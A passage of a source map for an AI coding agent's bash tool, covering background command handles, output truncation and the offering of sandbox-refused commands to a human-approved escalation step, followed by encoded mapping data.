tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\tif (!status.running && looksLikeSandboxRefusal(snapshot.content)) {\n\t\t\ttext += `\\n\\n[Sandbox refusal: background runs are not offered escalation. Rerun this command in the foreground to get the escalation offer.]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\t// The OS boundary refuses a write in the kernel, so by the time this runs\n\t\t\t\t\t// the syscall has already failed and nothing inside this namespace can\n\t\t\t\t\t// widen it. Offering the command to the supervisor is the only remaining\n\t\t\t\t\t// move, and it is the supervisor that shows the human the exact command\n\t\t\t\t\t// and root before anything runs -- so a wrong guess at the path is\n\t\t\t\t\t// refused by someone reading it, never granted quietly.\n\t\t\t\t\tconst escalated = await escalateRefusedCommand(command, outputText);\n\t\t\t\t\tif (escalated) {\n\t\t\t\t\t\t// The reported exit code has to be the escalated run's, not the\n\t\t\t\t\t\t// refused one's. Leaving the original would have the details say the\n\t\t\t\t\t\t// command failed while the content says it succeeded, and anything\n\t\t\t\t\t\t// reading the facts rather than the text would disagree with the\n\t\t\t\t\t\t// model about what happened.\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\tcontent: [{ type: \"text\", text: escalated.text }],\n\t\t\t\t\t\t\tdetails: { ...resultDetails, execution: { ...execution, exitCode: 0 } },\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n\n/**\n * Offer a command the sandbox refused to the supervisor, once.\n *\n * Returns the escalated output when a human approved it and it ran, and undefined for\n * every other outcome -- no channel, no recognisable refusal, no path in the message, a\n * refused prompt -- because the caller's behaviour is the same in all of them: report\n * what originally happened.\n */\nasync function escalateRefusedCommand(command: string, output: string): Promise<{ text: string } | undefined> {\n\tif (!looksLikeSandboxRefusal(output)) return undefined;\n\tconst refusedPath = extractRefusedPath(output);\n\tif (!refusedPath) return undefined;\n\tconst outcome = await requestCommandEscalation({ command, writableRoot: escalationRootFor(refusedPath) });\n\tif (!outcome || outcome.code !== 0) return undefined;\n\tconst combined = [outcome.stdout, outcome.stderr]\n\t\t.filter((part) => part.length > 0)\n\t\t.join(\"\\n\")\n\t\t.trim();\n\t// A silent success still has to say something, or the model reads an empty result as\n\t// the command having had no effect.\n\treturn { text: combined.length > 0 ? combined : \"Command ran with approved escalated access.\" };\n}\n"]}
1
+ {"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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